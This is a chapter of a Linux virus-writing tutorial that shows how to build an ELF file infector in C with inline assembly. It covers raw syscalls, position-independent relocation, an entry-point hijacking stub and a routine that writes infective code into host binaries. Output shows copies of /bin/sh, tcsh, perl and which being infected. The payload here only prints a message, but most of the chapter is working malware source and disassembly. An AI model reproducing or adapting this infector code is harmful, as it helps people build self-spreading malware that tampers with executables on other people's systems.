The Linux Virus Writing HOWTO
Prev |  | Next

# 10. Doing it in C

| Unix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things.
| Doug Gwyn

In the language of evil I declared the code generated by gcc(1) to be unsuitable for a virus. And then rewrote the whole thing in assembly. A less drastic solution is to use inline assembly to correct only what's really necessary.

## 10.1. System calls

Have a look at the disassembly of function `write` in glibc. That code checks the return value of the system call and sets variable `errno` on error. We don't need this. Actually we can't access global variables at all. And our code does not care for the return code, anyway.

It is also remarkable that the code loads only the four required registers. The sources of glibc make great effort to provide optimal code for every case. I find the macros in `glibc-2.2.4/sysdeps/unix/sysv/linux/i386/sysdep.h` quite interesting.

For our needs a simple function will do. The line starting with a colon is a constraint. It somehow declares the value that `eax` has after the `asm` block to be the value of variable `result`. The following `return` statement would load the value of `result` into `eax` again, but fortunately gcc(1) optimizes this correctly. Of course the code would work without constraint and `return`. But the compiler would issue warning "no return statement in function returning non-void".

RedHat's `gcc-2.96-98` produces weird code if the assembly statements are grouped in a single `asm` block. In that case `mov ebp,esp` is done not on function entry, but after the `asm`. See All together now for a disassembly. `do_syscall` is the last part.

Note that we can't name our function plain `syscall`. There is already such a declaration in `unistd.h`.

Source - do_syscall.inc.

    int do_syscall(int number, ...)
    {
      int result;
      asm("push %ebx; push %esi; push %edi");
      asm(
        "mov 28(%%ebp),%%edi;"
        "mov 24(%%ebp),%%esi;"
        "mov 20(%%ebp),%%edx;"
        "mov 16(%%ebp),%%ecx;"
        "mov 12(%%ebp),%%ebx;"
        "mov  8(%%ebp),%%eax;"
        "int $0x80"
        : "=a" (result)
      );
      asm("pop %edi; pop %esi; pop %ebx");
      return result;
    }

## 10.2. Position independent code

Previous examples needed a separate pass to build the insertable code. Output of the first pass is one chunk of bytes. The only interface to the infector is the place to patch with the original entry address (4 bytes at offset 1).

The crucial part are the lines in writeInfection where we pass the address of the chunk of bytes to write(2). In a real virus these lines will also be part of inserted code. The naive approach is to patch these instructions on infection. But this again leads to a two-pass process. The first is required to find the offset of patches. A more comfortable approach is to make the code position independent by calculating absolute addresses at run-time. Note that option `-fpic` of gcc(1) does not help the problem at all.

> `-fpic`

> Generate position-independent code (PIC) suitable for use in a shared library, if supported for the target machine. Such code accesses all constant addresses through a global offset table (GOT). The dynamic loader resolves the GOT entries when the program starts (the dynamic loader is not part of GCC; it is part of the operating system). If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that `-fpic` does not work; in that case, recompile with `-fPIC` instead. (These maximums are 16k on the m88k, 8k on the Sparc, and 32k on the m68k and RS/6000. The 386 has no such limit.)

The instruction pointer is a register that holds the address of the next instruction to execute. Unlike "real" registers there is no direct way to retrieve its value. A `call` pushes the current value of `IP` onto the stack and adds a relative offset to it. Offset 0 just continues with the following instruction. And if that instruction is a `pop` we load the the address of the `pop` instruction itself in a regular register.

In function we `get_relocate_ofs` we compare the actual value of `IP` with the location the linker had in mind when it built the original executable. If code is executed at the exact location the linker gave it in the original file, then `eax` will be exactly the address of label `delta` after the `pop`. And the following `sub` instruction will then set `eax` to zero.

Source - get_relocate_ofs.inc.

    int get_relocate_ofs(void)
    {
      int result;
      __asm__(
        "call   delta         ;"
        "delta:                "
        "pop    %%eax         ;"
        "sub    $(delta),%%eax;"
        : "=a" (result)
      );
      return result;
    }

A dump from gdb(1) is not enough to demonstrate this function. I want to show that the last four bytes of the opcode of the `call` instruction are really zero.

Command - ndisasm.sh.

    #!/bin/sh
    file=${1:-tmp/doing_it_in_c/three/infector}
    func=${2:-get_relocate_ofs}
    count=${3:-1}
    location=$(
    	nm ${file} \
    	| sed -ne "/^[0-9].*${func}/s/ .*//p" \
    	| tr a-f A-F
    )
    offset=$( echo "ibase=16; ${location} - 08048000" | bc )
    ndisasm -e ${offset} -o 0x${location} -U ${file} \
    | awk "{ print \$0; }
    /ret/ && ++nr >= ${count} { exit 0; }"

Output - get_relocate_ofs.ndisasm.

    080493C4  55                push ebp
    080493C5  E800000000        call 0x80493ca
    080493CA  58                pop eax
    080493CB  2DCA930408        sub eax,0x80493ca
    080493D0  89E5              mov ebp,esp
    080493D2  5D                pop ebp
    080493D3  C3                ret

## 10.3. writeInfection

We now have all parts to implement a position independent version of `Target::writeInfection`. This code works as part of a first stage infector. Output to prove it is at the end of this chapter. It should also work as part of an infection. But do you remember the paragraph in Introduction about "exercise left to the reader"?

Compare this code with the first version. Instead of operating on a single variable, Target::infection, we write every byte between the start of `infection` and function `end`. The prototypes are required by the code of `core`. For reasons explained below, `infection.inc` and `core.inc` must lie next to each other. Anyway, the highlight of this chapter is the character constant `msg`.

Source - write_infection.inc.

    int get_relocate_ofs(void);
    int do_syscall(int, ...);
    extern const char msg[];

    #include "infection.inc"
    #include "core.inc"
    #include "get_relocate_ofs.inc"
    #include "do_syscall.inc"

    const char msg[] __attribute__ (( section(".text") )) =
      "ELF is dead baby, ELF is dead.\n";

    void end() {}

    unsigned Target::writeInfection()
    {
      int ofs = get_relocate_ofs();
      char* r_begin = ofs + (char*)&infection;
      char* r_end = ofs + (char*)&end;
      unsigned size = r_end - r_begin;

      /* first byte is the opcode for "push" */
      do_syscall(4, fd_dst, r_begin, ENTRY_POINT_OFS);

      /* next four bytes is the address to "ret" to */
      do_syscall(4, fd_dst, &original_entry, sizeof(original_entry));

      /* rest of infective code */
      enum { REST_OFS = ENTRY_POINT_OFS + sizeof(original_entry) };
      do_syscall(4, fd_dst, r_begin + REST_OFS, size - REST_OFS);
      return size;
    }

## 10.4. A section called .text

It is very difficult to persuade the linker to arrange object files in a specific order. But by putting all definitions into a single compilation unit (a `.c` that ends up in a `.o`) we are quite safe on that front. And though it is nowhere specified, most compilers will write definitions in the order they read them. So the "only" remaining problem is implementation specific classification of definitions. A small test program illustrates the problem.

Source - addr.c.

    #include <stdio.h>

    void* begin() { return "string literal"; }

    static const char constant_a[] = "first try";
    static const char constant_b[]
    __attribute__ ((section (".text"))) = "second try";

    void end() {}

    int main()
    {
      printf("begin          = %p\n", &begin);
      printf("string literal = %p\n", begin());
      printf("constant_a     = %p\n", constant_a);
      printf("constant_b     = %p\n", constant_b);
      printf("end            = %p\n", &end);
      return 0;
    }

Output.

    begin          = 0x8048460
    string literal = 0x8048562
    constant_a     = 0x8048558
    constant_b     = 0x804846a
    end            = 0x8048480

Functions are ordered intuitively. However, constant data is put in a separate section called `.rodata`. And sections are ordered as whole. See the section-to-segment mapping in the output of readelf(1) at Bashful glance.

I see a few approaches to the problem.

- Copy the complete code-segment as defined by the ELF header.

- Define `begin` and `end` for each section to copy.

- Put constant data into section `.text`.

Anyway, the real problem is accessing these bytes in a position independent fashion. For code this is more or less default. `call` and `jmp` work with relative offsets. Large contiguous `switch` blocks could get optimized as a lookup tables, but this is easy to work around. Explicit function pointers can be corrected manually with `get_relocate_ofs`. The same be could be done with items in virtual method tables. But then the table itself is accessed by compiler-generated code, which is hard to correct.

However, every data access requires explicit calculation through `get_relocate_ofs`. This includes innocent looking string literals. Basically you always have to look at the disassembly of your C code to go sure.

In our trivial example `Target::infection` holds stub code written in assembler and is never accessed as data. Anyway, here is the documentation of gcc(1) on the issue.

> section ("section-name")

> Normally, the compiler places the objects it generates in sections like "data" and "bss". Sometimes, however, you need additional sections, or you need certain particular variables to appear in special sections, for example to map to special hardware. The "section" attribute specifies that a variable (or function) lives in a particular section.

## 10.5. The stub

This is the link between regular C code and the unsuspecting host. The requirements are:

- The new entry point should lie at a constant offset inside inserted code. Preferred value is 0.

- The original entry address is patched into the inserted code at a constant offset. Previous examples used 1.

- We need a mechanism to activate the host code again. Ideally we should leave no trace of our existence, but unmodified registers (especially `esp`) will suffice.

Calculating the offset to patch with the original entry point definitely requires a separate pass. But good design can make this pass constant. We can use the same stub, with the same offset, for every kind of infective code.

The natural approach is to code the stub in a mixture of C and inline assembly and use ndisasm(1) to check the offset. This has the disadvantage of limited control. Functions compiled by gcc(1) are decorated with entry and exit code. The disassembly of The address of main is a fine example. I have no way to suppress the first two lines, `push ebp` and `mov ebp,esp`. Even worse, functions containing `asm` statements seem the defy all logic. Just see where `mov ebp,esp` is in the code of `get_relocate_ofs`. And I also don't see how to put code between `pop ebp` and `ret`. So we would have to build our own exit code using inline assembly. Basically a `pop ebp` and some kind of `jmp`. The exit code generated by gcc(1) would still be there, but just not used.

On the other hand the traditional way of mixing C and assembler code through separate `.o` files is not possible. Fortunately we have a tool that converts disassembly into a C style array constant. This approach has one major problem, though. The assembly code is built independent of the C code. So the offset of the virus core (a plain C function) is not known during assembly of the stub. Patching the offset into the stub at run time is the obvious solution. Assuming a constant offset is the kind of black magic I prefer.

But then my other hobby is selling innocent readers bull. The real motivation for the following hack is to recycle the framework from One step closer to the edge. The code below relies on prober alignment through the compiler. Because of the `__attribute__` clause the character array `Target::infection` starts at an address that is a multiple of `16`. An assembler directive pads the stub with enough `nop` instruction to make its size a multiple of `16`. Which means that any object placed after the `infection` is also aligned on a multiple of `16`. And `16` is typically the highest possible alignment for i386 compilers. There is absolutely no reason for compiler or assembler to insert padding bytes between `infection` and the following function, called `core`.

Source - infection.asm.

    		BITS 32

    		push	dword 0		; replace with original entry address
    		pushf
    		pusha
    		call	core
    		popa
    		popf
    		ret

    		align 16
    core:

Source - infection.inc.

    const unsigned char Target::infection[]
    __attribute__ (( aligned(16), section(".text") )) =
    {
      0x68,0x00,0x00,0x00,0x00,      /* 00000000: push dword 0x0       */
      0x9C,                          /* 00000005: pushf                */
      0x60,                          /* 00000006: pusha                */
      0xE8,0x04,0x00,0x00,0x00,      /* 00000007: call 0x10            */
      0x61,                          /* 0000000C: popa                 */
      0x9D,                          /* 0000000D: popf                 */
      0xC3,                          /* 0000000E: ret                  */
      0x90                           /* 0000000F: nop                  */
    };

## 10.6. All together now

The only missing piece is the actual infection core. We use another piece of magic, built-in functions. From the documentation of gcc(1):

> GCC normally generates special code to handle certain built-in functions more efficiently; for instance, calls to `alloca` may become single instructions that adjust the stack directly, and calls to `memcpy` may become inline copy loops. The resulting code is often both smaller and faster, but since the function calls no longer appear as such, you cannot set a breakpoint on those calls, nor can you change the behavior of the functions by linking with a different library.

> Currently, the functions affected include `abort`, `abs`, `alloca`, `cos`, `cosf`, `cosl`, `exit`, `_exit`, `fabs`, `fabsf`, `fabsl`, `ffs`, `labs`, `memcmp`, `memcpy`, `memset`, `sin`, `sinf`, `sinl`, `sqrt`, `sqrtf`, `sqrtl`, `strcmp`, `strcpy` and `strlen`.

Source - build.

    void core()
    {
      int ofs = get_relocate_ofs();
      const char* r_msg = ofs + msg;
      do_syscall(4, 1, r_msg, strlen(r_msg));
    }

And a disassembly, just to go sure. It consists of `Target::infection`, `core`, `get_relocate_ofs` and `do_syscall`, in that order. This is not all inserted code. The character constant `msg` is not shown.

Output.

    08049380  6800000000        push dword 0x0
    08049385  9C                pushf
    08049386  60                pusha
    08049387  E804000000        call 0x8049390
    0804938C  61                popa
    0804938D  9D                popf
    0804938E  C3                ret
    0804938F  90                nop
    08049390  55                push ebp
    08049391  89E5              mov ebp,esp
    08049393  57                push edi
    08049394  52                push edx
    08049395  E82A000000        call 0x80493c4
    0804939A  8D9000940408      lea edx,[eax+0x8049400]
    080493A0  89D7              mov edi,edx
    080493A2  FC                cld
    080493A3  31C0              xor eax,eax
    080493A5  B9FFFFFFFF        mov ecx,0xffffffff
    080493AA  F2AE              repne scasb
    080493AC  F7D1              not ecx
    080493AE  49                dec ecx
    080493AF  51                push ecx
    080493B0  52                push edx
    080493B1  6A01              push byte +0x1
    080493B3  6A04              push byte +0x4
    080493B5  E81A000000        call 0x80493d4
    080493BA  83C410            add esp,byte +0x10
    080493BD  8B7DFC            mov edi,[ebp-0x4]
    080493C0  C9                leave
    080493C1  C3                ret
    080493C2  89F6              mov esi,esi
    080493C4  55                push ebp
    080493C5  E800000000        call 0x80493ca
    080493CA  58                pop eax
    080493CB  2DCA930408        sub eax,0x80493ca
    080493D0  89E5              mov ebp,esp
    080493D2  5D                pop ebp
    080493D3  C3                ret
    080493D4  55                push ebp
    080493D5  89E5              mov ebp,esp
    080493D7  53                push ebx
    080493D8  56                push esi
    080493D9  57                push edi
    080493DA  8B7D1C            mov edi,[ebp+0x1c]
    080493DD  8B7518            mov esi,[ebp+0x18]
    080493E0  8B5514            mov edx,[ebp+0x14]
    080493E3  8B4D10            mov ecx,[ebp+0x10]
    080493E6  8B5D0C            mov ebx,[ebp+0xc]
    080493E9  8B4508            mov eax,[ebp+0x8]
    080493EC  CD80              int 0x80
    080493EE  5F                pop edi
    080493EF  5E                pop esi
    080493F0  5B                pop ebx
    080493F1  5D                pop ebp
    080493F2  C3                ret

## 10.7. Off we go again

Output - build.

    Infecting copy of /bin/tcsh... wrote 160 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 160 bytes, Ok
    Infecting copy of /usr/bin/which... wrote 160 bytes, Ok
    Infecting copy of /bin/sh... wrote 160 bytes, Ok

Output - test.

    ELF is dead baby, ELF is dead.
    /home/alba/virus-writing-HOWTO/tmp/doing_it_in_c/three/sh_infected
    2.05.8(1)-release
    /usr/bin/which
    ELF is dead baby, ELF is dead.
    /usr/bin/which
    ELF is dead baby, ELF is dead.
    tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
    ELF is dead baby, ELF is dead.

    ELF is dead baby, ELF is dead.
    GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
    Copyright 2000 Free Software Foundation, Inc.

Prev | Home | Next
Additional code segments |  | The stub revisited